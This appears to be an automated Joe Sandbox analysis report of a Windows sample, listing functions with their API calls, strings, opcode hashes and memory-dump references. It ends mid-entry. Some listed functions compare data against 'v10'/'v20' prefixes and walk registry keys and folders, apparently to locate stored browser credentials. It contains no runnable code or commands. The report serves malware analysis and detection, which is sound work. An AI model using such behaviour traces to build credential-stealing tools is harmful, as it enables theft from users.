Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 1efff3ea923dde2158a054976a3007ac69ae96d20be96b7bf4ebfa3f9a1850c7
Instruction ID: 75af52a167142edce29ee0be35ab23a79ef41e03afabfe02b0575ddd3d44ad04
Opcode Fuzzy Hash: 1efff3ea923dde2158a054976a3007ac69ae96d20be96b7bf4ebfa3f9a1850c7
Instruction Fuzzy Hash: E6B16D7980421AEFCF05CFA4CA80EAEB7B5FF48394B214159E9186B211D731EE51CB93

Function 6D4AABE0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 250COMMONLIBRARYCODE

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6D4AAD37
GetEnvironmentVariableW.KERNEL32(?,00000002,00000000), ref: 6D4AAD42
GetLastError.KERNEL32 ref: 6D4AAD4E
GetLastError.KERNEL32 ref: 6D4AAD60

Strings

internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6D4AAEC3

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 2691138088-1921098361
Opcode ID: 53de3d845b76cd8fbc31195fbc76923cdeae7d96ecd7c4c2d9962c6dc9bea896
Instruction ID: b0e5169905fa03f005aac6049e6d9145aa30b2502f605029e89142c28d14a747
Opcode Fuzzy Hash: 53de3d845b76cd8fbc31195fbc76923cdeae7d96ecd7c4c2d9962c6dc9bea896
Instruction Fuzzy Hash: 58A168B5E40209AFEB11CF94DC46FAEBBB9BF58314F194128E908B7341E7359D448B91

Function 0040A560 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memcmp.MSVCRT(?,v10,00000003), ref: 0040A5D2
memset.MSVCRT ref: 0040A60B
LocalAlloc.KERNEL32(00000040,?), ref: 0040A664

Strings

v20, xrefs: 0040A571
@, xrefs: 0040A614
v10, xrefs: 0040A5C6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: memcmp$AllocLocallstrcpymemset
String ID: @$v10$v20
API String ID: 631489823-278772428
Opcode ID: 969aca067193b34517e95764c301a3785a0ab9c99c832a66c56775610e7655dc
Instruction ID: deead5598e30f73acd49a71965db0b9c26184f2a73657d717c04d8255e3e8135
Opcode Fuzzy Hash: 969aca067193b34517e95764c301a3785a0ab9c99c832a66c56775610e7655dc
Instruction Fuzzy Hash: 7C518E30610208EFCB14EFA5DD95FDD7775AF40304F008029F90A6F291DB78AA55CB5A

Function 6D4AA9E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6D4AAAA7
GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6D4AAAAF
GetLastError.KERNEL32 ref: 6D4AAABB
GetLastError.KERNEL32 ref: 6D4AAACD
GetLastError.KERNEL32 ref: 6D4AAB5D

Strings

internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6D4AAB8A

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLast$CurrentDirectory
String ID: internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 3993060814-1921098361
Opcode ID: ed22ee6189da40af973665fb816c4a2ab33f44983207bb220882e89a328ad6b3
Instruction ID: 20316129ad6e471e26a875ce8462b68dd17ab19d7344473c96b51de36c52ef4f
Opcode Fuzzy Hash: ed22ee6189da40af973665fb816c4a2ab33f44983207bb220882e89a328ad6b3
Instruction Fuzzy Hash: 5951D0B1E002099BDB10DF98D94AFAEBBF8BF59714F184019E904B7341E7759D048BA1

Function 6D4C0B6A Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6D4C0BB1
___scrt_uninitialize_crt.LIBCMT ref: 6D4C0BCB

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 5b9c423c02982a70de95d596bbee99f6199fad3f24b0018b276cdcadb34131c9
Instruction ID: d3e7fa537a96d7a0a315c2dff67ff383e9c2edfd80ea3fa215e31f7d0b5bae48
Opcode Fuzzy Hash: 5b9c423c02982a70de95d596bbee99f6199fad3f24b0018b276cdcadb34131c9
Instruction Fuzzy Hash: F741C2BAD08259EBEB25CF9ADC00F7E7AB5EB41798F124119E91467280D7305D018FD2

Function 6D4C3A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6D4C3A57
___except_validate_context_record.LIBVCRUNTIME ref: 6D4C3A5F
_ValidateLocalCookies.LIBCMT ref: 6D4C3AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6D4C3B13
_ValidateLocalCookies.LIBCMT ref: 6D4C3B68

Strings

csm, xrefs: 6D4C3AFD

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: ff96f7fc469032262342f069f213c9c75d44b422e9c0ef6b32fb2feebb9fc525
Instruction ID: 7c6e7e168dcb0e3de507b39ef4f6ce2f2d09dab5854e87b51fa85ba04a2688b7
Opcode Fuzzy Hash: ff96f7fc469032262342f069f213c9c75d44b422e9c0ef6b32fb2feebb9fc525
Instruction Fuzzy Hash: 7E4181389042199FCF00DF69C884FAEBBB5BF49328F158159E9189B391D732AD15CBD2

Function 004149D0 Relevance: 10.6, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,008B0540,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00414A2B

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00414A51
lstrcatA.KERNEL32(?,?), ref: 00414A70
lstrcatA.KERNEL32(?,?), ref: 00414A84
lstrcatA.KERNEL32(?,008AB4B8), ref: 00414A97
lstrcatA.KERNEL32(?,?), ref: 00414AAB
lstrcatA.KERNEL32(?,008B0E40), ref: 00414ABF

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 004147C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
Part of subcall function 004147C0: HeapAlloc.KERNEL32(00000000), ref: 004147D7
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147F6
Part of subcall function 004147C0: FindFirstFileA.KERNEL32(?,?), ref: 0041480D

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 107bbed17a80564015f162fb8a19bb4a8604f35667d21cbe20428a14abca28ab
Instruction ID: a5c2d428b28de13255d2ac7946ab4b1842291e6be0275f36c7222d1bbee1b90f
Opcode Fuzzy Hash: 107bbed17a80564015f162fb8a19bb4a8604f35667d21cbe20428a14abca28ab
Instruction Fuzzy Hash: F93160B2D0421867CB14FBB0DC95EDD733EAB48704F40458EB20596091EE78A7C8CB99

Function 6D4C84CF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6D4C85DE,00000000,6D4C5DDF,00000000,00000000,00000001,?,6D4C8757,00000022,FlsSetValue,6D50EF80,6D50EF88,00000000), ref: 6D4C8590

Strings

ext-ms-, xrefs: 6D4C853A
api-ms-, xrefs: 6D4C8526

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4a5e252cebf73a2a381698aecc939d14489edfda1be005c43f23811c595761c9
Instruction ID: 653ce2b53de01d151209e48ec942d9c0d4ff9f3e913f32bd085dc1ecbf7e8810
Opcode Fuzzy Hash: 4a5e252cebf73a2a381698aecc939d14489edfda1be005c43f23811c595761c9
Instruction Fuzzy Hash: AE210D7AD40111BBCB129B65CC45FAA37B8AB427A0F314515EE25E7781D770EE01C6D2

Function 00419470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(>=A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413D3E,?), ref: 0041948C
GetFileSizeEx.KERNEL32(000000FF,>=A), ref: 004194A9
CloseHandle.KERNEL32(000000FF), ref: 004194B7

Strings

>=A, xrefs: 004194A1, 004194CD, 004194A4
>=A, xrefs: 00419488, 0041948B

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: >=A$>=A
API String ID: 1378416451-3536956848
Opcode ID: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction ID: 3a34b71ed32a5e038d40ec36a38ffc71a9509a973990dc3d9b0a1b42c7eefbe1
Opcode Fuzzy Hash: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction Fuzzy Hash: F2F04F39E08208BBDB10DFB0EC59F9E77BAAB48710F14C655FA15A72C0E6749A418B85

Function 00414300 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414325
RegOpenKeyExA.ADVAPI32(80000001,008B0E00,00000000,00020119,?), ref: 00414344
RegQueryValueExA.ADVAPI32(?,008B0558,00000000,00000000,00000000,000000FF), ref: 00414368
RegCloseKey.ADVAPI32(?), ref: 00414372
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414397
lstrcatA.KERNEL32(?,008B05E8), ref: 004143AB

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction ID: 95163f332e2e8486d22fa14c8026e7b1b291c890fe90cbe7f90fb3e747a5c624
Opcode Fuzzy Hash: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction Fuzzy Hash: B641B8B6D001086BDB14EBA0EC46FEE773DAB8C300F04855EB7155A1C1EA7557888BE1

Function 004137B0 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004137D8

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

strtok_s.MSVCRT ref: 00413921

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,008A8FB0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 6b82ea553c819cf833993b3bc1f52431f25b6142e5fae1d65defea688d10802c
Instruction ID: b6ea97cb77591b20574b5f8bad6a91ea9d9e82a59cceccb6aeafc47a8efa6348
Opcode Fuzzy Hash: 6b82ea553c819cf833993b3bc1f52431f25b6142e5fae1d65defea688d10802c
Instruction Fuzzy Hash: 9541A471E101099BCB04EFA5D945AEEB779AF44314F00801EF51677291EB78AA84CFAA

Function 0041B68C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B69A

Part of subcall function 0041B2BC: __mtinitlocknum.LIBCMT ref: 0041B2D2
Part of subcall function 0041B2BC: __amsg_exit.LIBCMT ref: 0041B2DE
Part of subcall function 0041B2BC: EnterCriticalSection.KERNEL32(?,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B2E6

DecodePointer.KERNEL32(0042A260,00000020,0041B7DD,?,00000001,00000000,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E), ref: 0041B6D6
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B6E7

Part of subcall function 0041C136: EncodePointer.KERNEL32(00000000,0041C393,004D5FB8,00000314,00000000,?,?,?,?,?,0041BA07,004D5FB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041C138

DecodePointer.KERNEL32(-00000004,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B70D
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B720
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B72A

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: b368105745a6ed8ee76dfd52bf20aaa228be3e659f0cb10f9770f58f7590507a
Instruction ID: f2b3184d1a1304bb90a50cba908fab2f5b5379eafeb7e6c0534b29cc51b1fef6
Opcode Fuzzy Hash: b368105745a6ed8ee76dfd52bf20aaa228be3e659f0cb10f9770f58f7590507a
Instruction Fuzzy Hash: 1331F974900349DFDF11AFA5D9856DDBAF1FF88314F14402BE460A62A0DB784985CF99

Function 6D4C3E2F Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6D4C3C01,6D4C0FD3,6D4C0A3B,?,6D4C0C73,?,00000001,?,?,00000001,?,6D515760,0000000C,6D4C0D6C), ref: 6D4C3E3D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6D4C3E4B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6D4C3E64
SetLastError.KERNEL32(00000000,6D4C0C73,?,00000001,?,?,00000001,?,6D515760,0000000C,6D4C0D6C,?,00000001,?), ref: 6D4C3EB6

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 3cd9606d122bdd8a79bf9883e7c9f75fb586cddad79c3238695556fcbfb1aae0
Instruction ID: 05292c3ee1895fe4e7cb0fd98b2dd84d5f0790f74cfbf3446ba74dcfedf8f241
Opcode Fuzzy Hash: 3cd9606d122bdd8a79bf9883e7c9f75fb586cddad79c3238695556fcbfb1aae0
Instruction Fuzzy Hash: 4C01D83A50D3139DDB11A779AC89F7B2A64EB032B9731432DE630816D0EF514C4586C2

Function 6D4AC160 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 301COMMON

Download Yara Rule

APIs

freeaddrinfo.WS2_32(?), ref: 6D4AC1CA
freeaddrinfo.WS2_32(?), ref: 6D4AC47A
freeaddrinfo.WS2_32(?), ref: 6D4AC55A

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 6D4AC4D5, 6D4AC513
assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 6D4AC4F2, 6D4AC534

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: freeaddrinfo
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 2731292433-3544120690
Opcode ID: f9085d80222095da85861a1e66342f5b02c497f32492c8f7a17a590dda83191b
Instruction ID: c26eefa3852c7f40c1d6381e51c303214a9a9e777d85d35626c341ff6faf9ce1
Opcode Fuzzy Hash: f9085d80222095da85861a1e66342f5b02c497f32492c8f7a17a590dda83191b
Instruction Fuzzy Hash: FBD143B9D00219CFDB18CF88D480AADBBB1FF58314F29816EE819AB352D7719D45CB94

Function 0041CD0E Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CD1A

